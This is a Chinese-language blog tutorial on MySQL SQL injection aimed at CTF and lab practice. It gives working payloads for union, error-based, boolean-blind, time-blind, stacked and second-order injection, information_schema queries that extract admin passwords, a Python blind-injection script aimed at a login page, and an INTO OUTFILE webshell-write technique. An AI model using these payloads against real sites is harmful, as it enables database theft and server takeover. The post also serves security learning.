Bootstrap

SQL注入

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与学习...

前言;

看不懂,就直接用工具吧. (SQLmap)

可以打一下bp的SQL注入靶场

不会就多看看文档...

MySQL :: MySQL 5.7 Reference Manual :: 13.2.9 SELECT Statement

...

目录

什么是sql???

什么是数据库?

下面学习以Mysql/Mariadb 为主.

mysql文档官网:

自搭博客系统代码-->

sql语句:(增删改查)

php语句

原理:

sql注入的危害:

sql注入的类型------------------------->>>

联合查询:

注释两种形式:

类型一:数字型注入

类型二:字符型注入

查所有表名:

查某个表的所有列(字段名):

查询敏感信息:

类型三:布尔盲注

盲注脚本 

类型四:报错注入

条件:

利用:

类型五:堆叠注入

类型六:时间盲注

条件:

类型七:二次注入

条件:

不同注入点的应对技巧

小技巧:


什么是sql???

sql是一门语言,通过sql语句可以快速实现数据的增删改查.
Create 增
Delete 删
Update 改
Read   查
----->  CURD  就是指对数据的增删改查

什么是数据库?

 

关系型数据库?
非关系型数据库?

关系型数据库:
把所有的数据变为表格存放.
(不用把数据全部打开,直接查一条)

常见数据库有:
Oracle              (大型)
Mysql/MariaDB       (分支--开源版本)     (中小型)
SQLServer           (微软)(windows登录账号可以作为数据库登录账号)
Access              mdb文件 mdb在网站目录,被人猜出来,直接下载.
Sqlite              qq的聊天记录,就会存在本地的sqlite里面.
==
非关系型数据库 (nosql数据库)
sns--社交软件    web2.0  所有内容 由用户产生   并 由用户消费.
(访问的数据量大,高并发量,纯动态网站)
Membase
MongoDB

下面学习以Mysql/Mariadb 为主.

mysql文档官网:

MySQL :: MySQL 5.7 Reference Manual :: 13.2.9 SELECT Statement


 

自搭博客系统代码-->

sql语句:(增删改查)

select id,username,password from user;
update page set title='aaa',content='bbb' where id =1;
delete from page where id =1;
insert into page (title,content) values('aaa','bbb');

php语句

$conn = new mysqli($host,$username,$password,$db,$port);    --php中处理数据库的连接
$conn->query();         --执行sql语句.
$result->fetch_all();   --拿到所有结果.
$result->fetch_array(); --拿到一行结果.
(看手册)...

漏洞的利用---看读取还是写入执行

原理:

sql---通过读取,控制要执行的sql语句,  --权限过大-->写入
真html页面不接受外部参数
动态页面中通过get post 等传递参数,  通过利用,将恶意代码 带到 sql语句的执行代码中.

sql注入的危害:

歪曲了sql语句的执行结果
泄露了数据库中的敏感数据
干扰查询结果,劫持查询的流程,绕过了权限检查
通过文件操作写入恶意代码,可能造成rce

sql注入的类型------------------------->>>

1 整数型注入/union联合注入
2 字符型注入
3 布尔盲注
4 报错注入
5 堆叠注入
6 时间盲注
7 二次注入

 

联合查询:

-- 

 


 

注释两种形式:

 

#
--空格
-- daoifjaoijdpanfpafpoa


 

类型一:数字型注入

http://127.0.0.1/page_detail.php?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2
--前面查几列,后面就必须查几列.--不然会报错.(联合)
--列数对了就正常返回数据,否则报错.
select id,username,password from user union select 1,2,3 limit 1,2
select id,username,password from user union select 1,2,3 from host;   --前后的列数必须一致.(联合查询)
/?id=1 union select 1,2,3,4...    

-- 


类型二:字符型注入

前面闭合 后面注释  来逃逸出单引号或者双引号(试一下就知道)
http://127.0.0.1/page_detail.php?id=1' union select 1,(select password from user where username='admin'),3 limit 1,2%23
    #为注释    %23

# sql语句的查询有单引号包裹的话就是字符型了  -> 闭合即可
limit 后面必须为数字类型
%23 = #


查所有表名:

select group_concat(table_name) from information_schema.tables where table_schema=database()

查某个表的所有列(字段名):

select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()

查询敏感信息:

某个表的所有数据.
select group_concat(username,'-',password) from user


类型三:布尔盲注

boolean 盲注
条件:
没有明显的回显点.
只有得到两个结果,如果执行正常,页面不报错;  执行不正常,页面报错.
我们执行了我们自定义的sql语句,如果语句是正确的(语句内我们的猜测是正确的),就返回正常或者特定页面,否则返回错误页面或者其他特定页面.
--->(类似猜数字多了还是少了的游戏)
1 当我们猜对(sql执行正常)情况下--->页面没有报错
2 当我们猜错(sql执行不下去)情况下-->页面报错
 select id,username,password from user where username = 'aaa' or substr(username,1,1)='a' and id=1 %23&password=22222;
 猜测第一条数据的第一条是不是  a
 
基于上面的原理,我们可以发送大量的请求,来猜测我们需要的数据
select id,username,password from user where username = 'aaa' or substr(username,1,1)='a' and id=1 %23&password=22222;

盲注脚本 

import requests

url = "http://sql:8084/login.php"


def check_username(username_length):
    username = ""
    sts = "abcdefghijklmnopqrstuvwxyz"
    for i in range(username_length):
        for s in sts:
            data = {"username": f"aa' or substr(username,{i + 1},1)='{s}' and id = 1;#",
                    "password": "ctfshow"
                    }
            response = requests.post(url, data=data)
            print("正在测试第" + str(i + 1) + "位是否是" + s)
            if "成功" in response.text:
                print("猜测正确,第" + str(i + 1) + "位是" + s)
                username = username + s
                break
    return username


def check_length():
    ret = 0
    for s in range(5):
        data = {"username": f"aa' or length(username)={s+1} and id = 1 ;#",
                "password": "ctf"
                }
        response = requests.post(url, data=data)    # 这里可以加proxies参数进行本地代理--抓包看详细的请求.
        print("正在测试用户名是否是" + str(s + 1) + "位")
        # print(response.text)
        if "成功" in response.text:
            print("猜测正确,用户名是" + str(s + 1) + "位")
            ret = ret + 1
            break
    return ret


if __name__ == "__main__":
    username_length = check_length()
    username = check_username(username_length)
    print("盲注出username为:" + username)

类型四:报错注入

条件:

1 没有明显的回显点
2 有mysql执行sql语句的报错信息

利用:

a. 利用updatexml函数来强制报错,带出我们的查询结果
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

b. extractvalue 和updatexml 功能一样,也是通过报错带出查询数据用

c. 整数溢出报错   exp  pow cot

d. 不存在函数报错   select ctf(); # 写一个不存在的函数,爆出库名.

类型五:堆叠注入

我们控制的语句,可以执行多条sql--> select xxx;select xxx;...
注意点:
需要后台代码支持多条语句执行,而这个支持,需要不同于上面的代码写法.

例:
强网杯  随便注->
通过分号分隔多条sql语句,实现了修改表结构,甚至删除表数据等等结果

如果可以堆叠,大家应该首先考虑  存储过程  set @a=b;   (定义函数,绕过变量,关键字等等)
存储过程 类似与 shell的函数  可以自定义函数

类型六:时间盲注

条件:

没有明显的回显点 
页面也没有明显的变化,即使sql语句执行不成功
总结:
可以执行sql注入,但是不知道执行结果,也不知道执行了没,甚至不知道报错了没

猜对了,直接返回; 猜错了,睡n秒.

->猜对了,睡n秒; 猜错了,直接返回 (加快利用).

select if (1=1,'a','b'); 

select if (1=2,'a','b');

select if (1=2,'a',sleep(3);

原理:
猜测某个条件,如果成立,就sleep 几秒

 select id,username,password from user where username = 'admin' and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1);


a sleep进行延迟

b benchmark(count,exp)

如果执行一个比较耗时的表达式,非常多的次数,加起来,就有可能造成延时的效果

c 笛卡尔积延迟法

  select count(*) from user A,user B;
  SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;

 select count(*) from information_schema.tables,information_schema.columns b,user as c,user as d,user as e,user as f;

 if(2>1,延迟语句,1)


d get_lock函数延迟法

  select get_lock('a',3);

  条件:针对数据库连接的长连接有效

  php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库
  java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池


e rlike
  通过大量的正则匹配来实现延迟

类型七:二次注入

条件:

1 无法直接注入,但是可以把要注入的数据插入数据库中
2 其他地方引用数据库中的数据,拼接sql语句时,默认不再进行过滤,直接拼接,造成曲线控制了sql语句

不同注入点的应对技巧

 

sql语句分为CURD操作

select 注入-->

1 当我们控制点在 where 之后,则尝试 闭合参数引号,有回显就联合注入,有报错,就报错注入等等

2 注入点在select字段中:
select title,content from page;
可以控制title位置的注入点->
select (select password from user where username='admin') ,content from page;

3 注入点在 group by 或者oder by之后:
select title,content from page order by title;
控制title位置的注入点->
select title,content from page order by title,if(2>1,sleep(3),1);

4 注入点在 limit 之后:     (5.7版本,  8以后废弃)

select title,content from page limit 1;

select title,content from page limit 1 procedure analyse(updatexml(1,concat("^",(select user()),"^"),1));

小技巧:

1 字符串可以转为16进制来用(仅用来表示数据时)
select 0x63746673686f77

2 相同或者类似功能的函数相互替换
  substr sustring
  (类似cat 用tac替代绕过检测)

3 mysql 还可以使用into outfile '/var/www/html/1.php' 的形式,从数据读取,转为数据写入,从而实现代码执行
  如果mysql对那个目录有写权限

MySQL :: MySQL 5.7 Reference Manual :: 13.2.9 SELECT Statement

;